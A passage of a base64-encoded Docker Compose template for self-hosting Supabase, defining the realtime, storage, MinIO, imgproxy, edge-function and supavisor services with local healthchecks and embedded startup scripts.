Oi10cnVlfScKICByZWFsdGltZS1kZXY6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3JlYWx0aW1lOnYyLjM0LjQ3JwogICAgY29udGFpbmVyX25hbWU6IHJlYWx0aW1lLWRldi5zdXBhYmFzZS1yZWFsdGltZQogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zU2ZMJwogICAgICAgIC0gJy0taGVhZCcKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICAgIC0gJy1IJwogICAgICAgIC0gJ0F1dGhvcml6YXRpb246IEJlYXJlciAke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo0MDAwL2FwaS90ZW5hbnRzL3JlYWx0aW1lLWRldi9oZWFsdGgnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1JUPTQwMDAKICAgICAgLSAnREJfSE9TVD0ke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn0nCiAgICAgIC0gJ0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSBEQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0RCX05BTUU9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdEQl9BRlRFUl9DT05ORUNUX1FVRVJZPVNFVCBzZWFyY2hfcGF0aCBUTyBfcmVhbHRpbWUnCiAgICAgIC0gREJfRU5DX0tFWT1zdXBhYmFzZXJlYWx0aW1lCiAgICAgIC0gJ0FQSV9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEZMWV9BTExPQ19JRD1mbHkxMjMKICAgICAgLSBGTFlfQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VDUkVUX1BBU1NXT1JEX1JFQUxUSU1FfScKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgICAgLSBFTkFCTEVfVEFJTFNDQUxFPWZhbHNlCiAgICAgIC0gIkROU19OT0RFUz0nJyIKICAgICAgLSBSTElNSVRfTk9GSUxFPTEwMDAwCiAgICAgIC0gQVBQX05BTUU9cmVhbHRpbWUKICAgICAgLSBTRUVEX1NFTEZfSE9TVD10cnVlCiAgICAgIC0gTE9HX0xFVkVMPWVycm9yCiAgICAgIC0gUlVOX0pBTklUT1I9dHJ1ZQogICAgICAtIEpBTklUT1JfSU5URVJWQUw9NjAwMDAKICAgIGNvbW1hbmQ6ICJzaCAtYyBcIi9hcHAvYmluL21pZ3JhdGUgJiYgL2FwcC9iaW4vcmVhbHRpbWUgZXZhbCAnUmVhbHRpbWUuUmVsZWFzZS5zZWVkcyhSZWFsdGltZS5SZXBvKScgJiYgL2FwcC9iaW4vc2VydmVyXCJcbiIKICBzdXBhYmFzZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgY29tbWFuZDogJ3NlcnZlciAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiIC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL3N0b3JhZ2U6L2RhdGEnCiAgbWluaW8tY3JlYXRlYnVja2V0OgogICAgaW1hZ2U6IG1pbmlvL21jCiAgICByZXN0YXJ0OiAnbm8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUlOSU9fUk9PVF9VU0VSPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnTUlOSU9fUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtbWluaW86CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuL3Vzci9iaW4vbWMgYWxpYXMgc2V0IHN1cGFiYXNlLW1pbmlvIGh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwICR7TUlOSU9fUk9PVF9VU0VSfSAke01JTklPX1JPT1RfUEFTU1dPUkR9O1xuL3Vzci9iaW4vbWMgbWIgLS1pZ25vcmUtZXhpc3Rpbmcgc3VwYWJhc2UtbWluaW8vc3R1YjtcbmV4aXQgMFxuIgogIHN1cGFiYXNlLXN0b3JhZ2U6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N0b3JhZ2UtYXBpOnYxLjE0LjYnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1yZXN0OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICAgIGltZ3Byb3h5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9zdGFydGVkCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo1MDAwL3N0YXR1cycKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZFUl9QT1JUPTUwMDAKICAgICAgLSBTRVJWRVJfUkVHSU9OPWxvY2FsCiAgICAgIC0gTVVMVElfVEVOQU5UPWZhbHNlCiAgICAgIC0gJ0FVVEhfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vc3VwYWJhc2Vfc3RvcmFnZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBEQl9JTlNUQUxMX1JPTEVTPWZhbHNlCiAgICAgIC0gU1RPUkFHRV9CQUNLRU5EPXMzCiAgICAgIC0gU1RPUkFHRV9TM19CVUNLRVQ9c3R1YgogICAgICAtICdTVE9SQUdFX1MzX0VORFBPSU5UPWh0dHA6Ly9zdXBhYmFzZS1taW5pbzo5MDAwJwogICAgICAtIFNUT1JBR0VfUzNfRk9SQ0VfUEFUSF9TVFlMRT10cnVlCiAgICAgIC0gU1RPUkFHRV9TM19SRUdJT049dXMtZWFzdC0xCiAgICAgIC0gJ0FXU19BQ0NFU1NfS0VZX0lEPSR7U0VSVklDRV9VU0VSX01JTklPfScKICAgICAgLSAnQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9NSU5JT30nCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVD01MjQyODgwMDAKICAgICAgLSBVUExPQURfRklMRV9TSVpFX0xJTUlUX1NUQU5EQVJEPTUyNDI4ODAwMAogICAgICAtIFVQTE9BRF9TSUdORURfVVJMX0VYUElSQVRJT05fVElNRT0xMjAKICAgICAgLSBUVVNfVVJMX1BBVEg9dXBsb2FkL3Jlc3VtYWJsZQogICAgICAtIFRVU19NQVhfU0laRT0zNjAwMDAwCiAgICAgIC0gRU5BQkxFX0lNQUdFX1RSQU5TRk9STUFUSU9OPXRydWUKICAgICAgLSAnSU1HUFJPWFlfVVJMPWh0dHA6Ly9pbWdwcm94eTo4MDgwJwogICAgICAtIElNR1BST1hZX1JFUVVFU1RfVElNRU9VVD0xNQogICAgICAtIERBVEFCQVNFX1NFQVJDSF9QQVRIPXN0b3JhZ2UKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gUkVRVUVTVF9BTExPV19YX0ZPUldBUkRFRF9QQVRIPXRydWUKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgaW1ncHJveHk6CiAgICBpbWFnZTogJ2RhcnRoc2ltL2ltZ3Byb3h5OnYzLjguMCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBpbWdwcm94eQogICAgICAgIC0gaGVhbHRoCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBJTUdQUk9YWV9MT0NBTF9GSUxFU1lTVEVNX1JPT1Q9LwogICAgICAtIElNR1BST1hZX1VTRV9FVEFHPXRydWUKICAgICAgLSAnSU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OPSR7SU1HUFJPWFlfRU5BQkxFX1dFQlBfREVURUNUSU9OOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi92YXIvbGliL3N0b3JhZ2UnCiAgc3VwYWJhc2UtbWV0YToKICAgIGltYWdlOiAnc3VwYWJhc2UvcG9zdGdyZXMtbWV0YTp2MC44OS4zJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQR19NRVRBX1BPUlQ9ODA4MAogICAgICAtICdQR19NRVRBX0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdQR19NRVRBX0RCX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdfTUVUQV9EQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSBQR19NRVRBX0RCX1VTRVI9c3VwYWJhc2VfYWRtaW4KICAgICAgLSAnUEdfTUVUQV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogIHN1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9lZGdlLXJ1bnRpbWU6djEuNjcuNCcKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdFZGdlIEZ1bmN0aW9ucyBpcyBoZWFsdGh5JwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9ST0xFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX0RCX1VSTD1wb3N0Z3Jlc3FsOi8vcG9zdGdyZXM6JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1ZFUklGWV9KV1Q9JHtGVU5DVElPTlNfVkVSSUZZX0pXVDotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnLi92b2x1bWVzL2Z1bmN0aW9uczovaG9tZS9kZW5vL2Z1bmN0aW9ucycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIHRhcmdldDogL2hvbWUvZGVuby9mdW5jdGlvbnMvbWFpbi9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICJpbXBvcnQgeyBzZXJ2ZSB9IGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3N0ZEAwLjEzMS4wL2h0dHAvc2VydmVyLnRzJ1xuaW1wb3J0ICogYXMgam9zZSBmcm9tICdodHRwczovL2Rlbm8ubGFuZC94L2pvc2VAdjQuMTQuNC9pbmRleC50cydcblxuY29uc29sZS5sb2coJ21haW4gZnVuY3Rpb24gc3RhcnRlZCcpXG5cbmNvbnN0IEpXVF9TRUNSRVQgPSBEZW5vLmVudi5nZXQoJ0pXVF9TRUNSRVQnKVxuY29uc3QgVkVSSUZZX0pXVCA9IERlbm8uZW52LmdldCgnVkVSSUZZX0pXVCcpID09PSAndHJ1ZSdcblxuZnVuY3Rpb24gZ2V0QXV0aFRva2VuKHJlcTogUmVxdWVzdCkge1xuICBjb25zdCBhdXRoSGVhZGVyID0gcmVxLmhlYWRlcnMuZ2V0KCdhdXRob3JpemF0aW9uJylcbiAgaWYgKCFhdXRoSGVhZGVyKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdNaXNzaW5nIGF1dGhvcml6YXRpb24gaGVhZGVyJylcbiAgfVxuICBjb25zdCBbYmVhcmVyLCB0b2tlbl0gPSBhdXRoSGVhZGVyLnNwbGl0KCcgJylcbiAgaWYgKGJlYXJlciAhPT0gJ0JlYXJlcicpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoYEF1dGggaGVhZGVyIGlzIG5vdCAnQmVhcmVyIHt0b2tlbn0nYClcbiAgfVxuICByZXR1cm4gdG9rZW5cbn1cblxuYXN5bmMgZnVuY3Rpb24gdmVyaWZ5SldUKGp3dDogc3RyaW5nKTogUHJvbWlzZTxib29sZWFuPiB7XG4gIGNvbnN0IGVuY29kZXIgPSBuZXcgVGV4dEVuY29kZXIoKVxuICBjb25zdCBzZWNyZXRLZXkgPSBlbmNvZGVyLmVuY29kZShKV1RfU0VDUkVUKVxuICB0cnkge1xuICAgIGF3YWl0IGpvc2Uuand0VmVyaWZ5KGp3dCwgc2VjcmV0S2V5KVxuICB9IGNhdGNoIChlcnIpIHtcbiAgICBjb25zb2xlLmVycm9yKGVycilcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuICByZXR1cm4gdHJ1ZVxufVxuXG5zZXJ2ZShhc3luYyAocmVxOiBSZXF1ZXN0KSA9PiB7XG4gIGlmIChyZXEubWV0aG9kICE9PSAnT1BUSU9OUycgJiYgVkVSSUZZX0pXVCkge1xuICAgIHRyeSB7XG4gICAgICBjb25zdCB0b2tlbiA9IGdldEF1dGhUb2tlbihyZXEpXG4gICAgICBjb25zdCBpc1ZhbGlkSldUID0gYXdhaXQgdmVyaWZ5SldUKHRva2VuKVxuXG4gICAgICBpZiAoIWlzVmFsaWRKV1QpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogJ0ludmFsaWQgSldUJyB9KSwge1xuICAgICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LFxuICAgICAgICB9KVxuICAgICAgfVxuICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IoZSlcbiAgICAgIHJldHVybiBuZXcgUmVzcG9uc2UoSlNPTi5zdHJpbmdpZnkoeyBtc2c6IGUudG9TdHJpbmcoKSB9KSwge1xuICAgICAgICBzdGF0dXM6IDQwMSxcbiAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICB9KVxuICAgIH1cbiAgfVxuXG4gIGNvbnN0IHVybCA9IG5ldyBVUkwocmVxLnVybClcbiAgY29uc3QgeyBwYXRobmFtZSB9ID0gdXJsXG4gIGNvbnN0IHBhdGhfcGFydHMgPSBwYXRobmFtZS5zcGxpdCgnLycpXG4gIGNvbnN0IHNlcnZpY2VfbmFtZSA9IHBhdGhfcGFydHNbMV1cblxuICBpZiAoIXNlcnZpY2VfbmFtZSB8fCBzZXJ2aWNlX25hbWUgPT09ICcnKSB7XG4gICAgY29uc3QgZXJyb3IgPSB7IG1zZzogJ21pc3NpbmcgZnVuY3Rpb24gbmFtZSBpbiByZXF1ZXN0JyB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNDAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxuXG4gIGNvbnN0IHNlcnZpY2VQYXRoID0gYC9ob21lL2Rlbm8vZnVuY3Rpb25zLyR7c2VydmljZV9uYW1lfWBcbiAgY29uc29sZS5lcnJvcihgc2VydmluZyB0aGUgcmVxdWVzdCB3aXRoICR7c2VydmljZVBhdGh9YClcblxuICBjb25zdCBtZW1vcnlMaW1pdE1iID0gMTUwXG4gIGNvbnN0IHdvcmtlclRpbWVvdXRNcyA9IDEgKiA2MCAqIDEwMDBcbiAgY29uc3Qgbm9Nb2R1bGVDYWNoZSA9IGZhbHNlXG4gIGNvbnN0IGltcG9ydE1hcFBhdGggPSBudWxsXG4gIGNvbnN0IGVudlZhcnNPYmogPSBEZW5vLmVudi50b09iamVjdCgpXG4gIGNvbnN0IGVudlZhcnMgPSBPYmplY3Qua2V5cyhlbnZWYXJzT2JqKS5tYXAoKGspID0+IFtrLCBlbnZWYXJzT2JqW2tdXSlcblxuICB0cnkge1xuICAgIGNvbnN0IHdvcmtlciA9IGF3YWl0IEVkZ2VSdW50aW1lLnVzZXJXb3JrZXJzLmNyZWF0ZSh7XG4gICAgICBzZXJ2aWNlUGF0aCxcbiAgICAgIG1lbW9yeUxpbWl0TWIsXG4gICAgICB3b3JrZXJUaW1lb3V0TXMsXG4gICAgICBub01vZHVsZUNhY2hlLFxuICAgICAgaW1wb3J0TWFwUGF0aCxcbiAgICAgIGVudlZhcnMsXG4gICAgfSlcbiAgICByZXR1cm4gYXdhaXQgd29ya2VyLmZldGNoKHJlcSlcbiAgfSBjYXRjaCAoZSkge1xuICAgIGNvbnN0IGVycm9yID0geyBtc2c6IGUudG9TdHJpbmcoKSB9XG4gICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVN